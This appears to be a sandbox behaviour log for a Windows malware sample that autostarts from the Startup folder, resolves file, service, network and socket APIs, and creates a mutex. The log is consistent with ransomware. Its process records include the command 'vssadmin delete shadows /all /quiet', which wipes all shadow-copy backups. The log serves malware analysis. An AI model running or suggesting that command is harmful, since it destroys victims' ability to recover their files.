	[0095.878] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0095.878] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0095.878] GetProcessHeap () returned 0x1c4ef510000
	[0095.878] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x1bc) returned 0x1c4ef52d590
	[0095.878] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x368) returned 0x1c4ef515930
	[0095.879] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef515930, Size=0x1be) returned 0x1c4ef515930
	[0095.879] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef515930) returned 0x1be
	[0095.879] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0095.879] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xe8) returned 0x1c4ef52d760
	[0095.879] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef52d760, Size=0x7e) returned 0x1c4ef52d760
	[0095.879] GetProcessHeap () returned 0x1c4ef510000
	[0095.879] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef52d760) returned 0x7e
	[0095.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0095.879] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0xffffffffffffffff
	[0095.879] GetLastError () returned 0x2
	[0095.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0095.879] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0xffffffffffffffff
	[0095.882] GetLastError () returned 0x2
	[0095.882] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0095.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0x1c4ef52d7f0
	[0095.882] FindClose (in: hFindFile=0x1c4ef52d7f0 | out: hFindFile=0x1c4ef52d7f0) returned 1
	[0095.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0xffffffffffffffff
	[0095.882] GetLastError () returned 0x2
	[0095.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0x1c4ef52d7f0
	[0095.882] FindClose (in: hFindFile=0x1c4ef52d7f0 | out: hFindFile=0x1c4ef52d7f0) returned 1
	[0095.882] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0095.882] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0095.882] ??_V@YAXPEAX@Z () returned 0x1
	[0095.883] GetConsoleTitleW (in: lpConsoleTitle=0x59757cf1e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0096.597] GetProcessHeap () returned 0x1c4ef510000
	[0096.597] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x21c) returned 0x1c4ef515b00
	[0096.597] GetConsoleTitleW (in: lpConsoleTitle=0x1c4ef515b10, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0096.966] GetProcessHeap () returned 0x1c4ef510000
	[0096.966] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef515b00, Size=0xc2) returned 0x1c4ef515b00
	[0096.966] GetProcessHeap () returned 0x1c4ef510000
	[0096.966] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef515b00) returned 0xc2
	[0096.966] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0097.525] GetProcessHeap () returned 0x1c4ef510000
	[0097.525] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef515b00) returned 1
	[0097.525] InitializeProcThreadAttributeList (in: lpAttributeList=0x59757cf100, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x59757ceff0 | out: lpAttributeList=0x59757cf100, lpSize=0x59757ceff0) returned 1
	[0097.525] UpdateProcThreadAttribute (in: lpAttributeList=0x59757cf100, dwFlags=0x0, Attribute=0x60001, lpValue=0x59757cefdc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x59757cf100, lpPreviousValue=0x0) returned 1
	[0097.525] GetStartupInfoW (in: lpStartupInfo=0x59757cf090 | out: lpStartupInfo=0x59757cf090*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0097.525] GetProcessHeap () returned 0x1c4ef510000
	[0097.525] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x20) returned 0x1c4ef52d7f0
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0097.525] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0097.526] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0097.526] GetProcessHeap () returned 0x1c4ef510000
	[0097.526] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef52d7f0) returned 1
	[0097.526] GetProcessHeap () returned 0x1c4ef510000
	[0097.526] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x12) returned 0x1c4ef511a20
	[0097.526] _get_osfhandle (_FileHandle=1) returned 0x254
	[0097.526] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0097.527] _get_osfhandle (_FileHandle=0) returned 0x248
	[0097.527] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0097.527] CreateProcessW (lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x59757cf020*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x59757ceff8) 

Thread:
	id = 24
	os_tid = 0xfdc


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x17225000"
	os_pid = "0x112c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x10cc"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0x1124


Thread:
	id = 15
	os_tid = 0x1138


Thread:
	id = 16
	os_tid = 0x1148


Thread:
	id = 22
	os_tid = 0x1130


Thread:
	id = 23
	os_tid = 0x1094


Process:
	id = "4"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x91ef000"
	os_pid = "0xbcc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x10cc"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 25
	os_tid = 0xdd0


Thread:
	id = 26
	os_tid = 0x8d0


Process:
	id = "5"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x1aca7000"
	os_pid = "0xe90"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x10cc"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Process:
	id = "6"
	image_name = "dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	page_root = "0x38a54000"
	os_pid = "0xd50"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x9e8"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 29
	os_tid = 0xd54

	[0157.499] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77030000
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="GetProcAddress") returned 0x770451b0
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleHandleW") returned 0x770450d0
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="FindNextFileW") returned 0x7709ee40
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="FindClose") returned 0x7709ed70
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="MoveFileW") returned 0x7707e500
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="GetFileSizeEx") returned 0x7709ef40
	[0157.499] GetProcAddress (hModule=0x77030000, lpProcName="GetModuleFileNameW") returned 0x77045090
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetFileAttributesW") returned 0x7709ef10
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="ExitProcess") returned 0x77043cb0
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetCommandLineW") returned 0x77044cc0
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameW") returned 0x770732c0
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetComputerNameA") returned 0x77073780
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="CreateMutexW") returned 0x7709eb70
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenW") returned 0x77046c70
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="lstrlenA") returned 0x77046c50
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcess") returned 0x7709ea10
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="WaitForSingleObject") returned 0x7709eca0
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetLogicalDrives") returned 0x77040d20
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="GetTickCount") returned 0x7709dd50
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="DeleteFileW") returned 0x7709ed40
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="WideCharToMultiByte") returned 0x77046b10
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7709ebb0
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="Sleep") returned 0x77046760
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="LeaveCriticalSection") returned 0x77bbb250
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="ReadFile") returned 0x7709f090
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="CreateFileW") returned 0x7709ed10
	[0157.500] GetProcAddress (hModule=0x77030000, lpProcName="OpenMutexW") returned 0x7709ebf0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="EnterCriticalSection") returned 0x77bbb2d0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="WaitForMultipleObjects") returned 0x7709ec80
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiW") returned 0x77046bf0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="lstrcmpiA") returned 0x77046bd0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="DeleteCriticalSection") returned 0x77b9fb90
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="ReleaseMutex") returned 0x7709ec20
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="CloseHandle") returned 0x7709eab0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="GetVersion") returned 0x770456c0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="CreateThread") returned 0x770446b0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="ExpandEnvironmentStringsW") returned 0x77044a40
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceCounter") returned 0x77045da0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="QueryPerformanceFrequency") returned 0x77045dc0
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="GetCurrentProcessId") returned 0x7709ea20
	[0157.501] GetProcAddress (hModule=0x77030000, lpProcName="SetFileAttributesW") returned 0x7709f100
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="GetVolumeInformationW") returned 0x7709f020
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="WriteFile") returned 0x7709f180
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="SetFilePointerEx") returned 0x7709f130
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="SetEndOfFile") returned 0x7709f0e0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="FindFirstFileW") returned 0x7709edf0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="GetProcessHeap") returned 0x770451f0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="HeapReAlloc") returned 0x77baf630
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="HeapAlloc") returned 0x77bb2dc0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="HeapFree") returned 0x770457f0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="CreatePipe") returned 0x77044590
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="SetHandleInformation") returned 0x7709eae0
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="CreateProcessW") returned 0x77044610
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringW") returned 0x77044430
	[0157.502] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringA") returned 0x77044410
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="OpenProcess") returned 0x77045cc0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="TerminateProcess") returned 0x770467e0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="GetSystemTime") returned 0x770454e0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="SystemTimeToFileTime") returned 0x770467a0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="GetLastError") returned 0x77045010
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7707edc0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="Process32NextW") returned 0x7707f8f0
	[0157.503] GetProcAddress (hModule=0x77030000, lpProcName="Process32FirstW") returned 0x7707f750
	[0157.503] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x749e0000
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="RegOpenKeyExW") returned 0x749fe580
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="RegQueryValueExW") returned 0x749fe5a0
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="RegSetValueExW") returned 0x749ff530
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="RegCloseKey") returned 0x749fed60
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="OpenProcessToken") returned 0x749fefb0
	[0157.634] GetProcAddress (hModule=0x749e0000, lpProcName="GetTokenInformation") returned 0x749fee90
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="OpenSCManagerW") returned 0x74a00540
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="OpenServiceW") returned 0x749ffa20
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="CloseServiceHandle") returned 0x749ffc00
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="ControlService") returned 0x74a126d0
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="QueryServiceStatus") returned 0x74a02380
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="EnumDependentServicesW") returned 0x74a12f70
	[0157.635] GetProcAddress (hModule=0x749e0000, lpProcName="EnumServicesStatusExW") returned 0x749ffc80
	[0157.635] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76ef0000
	[0157.784] GetProcAddress (hModule=0x76ef0000, lpProcName="SystemParametersInfoW") returned 0x76f1f210
	[0157.784] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74fa0000
	[0158.520] GetProcAddress (hModule=0x74fa0000, lpProcName="ShellExecuteExW") returned 0x75104730
	[0158.520] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b70000
	[0158.520] GetProcAddress (hModule=0x77b70000, lpProcName="NtQuerySystemInformation") returned 0x77be2070
	[0158.520] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000
	[0158.532] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572640
	[0158.532] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572790
	[0158.532] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74572410
	[0158.532] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76b40000
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="WSAStartup") returned 0x76b45b40
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="socket") returned 0x76b54510
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="send") returned 0x76b45030
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="recv") returned 0x76b50c50
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="connect") returned 0x76b45410
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="closesocket") returned 0x76b50910
	[0158.542] GetProcAddress (hModule=0x76b40000, lpProcName="gethostbyname") returned 0x76b76cb0
	[0158.543] GetProcAddress (hModule=0x76b40000, lpProcName="inet_addr") returned 0x76b59160
	[0158.543] GetProcAddress (hModule=0x76b40000, lpProcName="ntohl") returned 0x76b449d0
	[0158.543] GetProcAddress (hModule=0x76b40000, lpProcName="htonl") returned 0x76b449d0
	[0158.543] GetProcAddress (hModule=0x76b40000, lpProcName="htons") returned 0x76b58ff0
	[0158.543] GetProcessHeap () returned 0x710000
	[0158.543] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x71b078
	[0158.543] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5623931158) returned 1
	[0158.543] GetTickCount () returned 0x113840b
	[0158.543] GetCurrentProcessId () returned 0xd50
	[0158.545] GetTickCount () returned 0x113840b
	[0158.545] GetTickCount () returned 0x113840b
	[0158.545] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x71b208
	[0158.545] GetVersion () returned 0x23f00206
	[0158.545] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x7) returned 0x726910
	[0158.545] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x728260
	[0158.545] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728260, Size=0x20) returned 0x71b230
	[0158.545] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71b230, Size=0x40) returned 0x72d6c8
	[0158.545] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x72ed48
	[0158.545] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RA") returned 0x0
	[0158.545] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_F5163RA") returned 0x1ec
	[0158.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726910 | out: hHeap=0x710000) returned 1
	[0158.546] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0158.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d6c8 | out: hHeap=0x710000) returned 1
	[0158.546] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x7) returned 0x726910
	[0158.546] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x728260
	[0158.546] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728260, Size=0x20) returned 0x71b230
	[0158.546] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71b230, Size=0x40) returned 0x72dc20
	[0158.546] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x73ed50
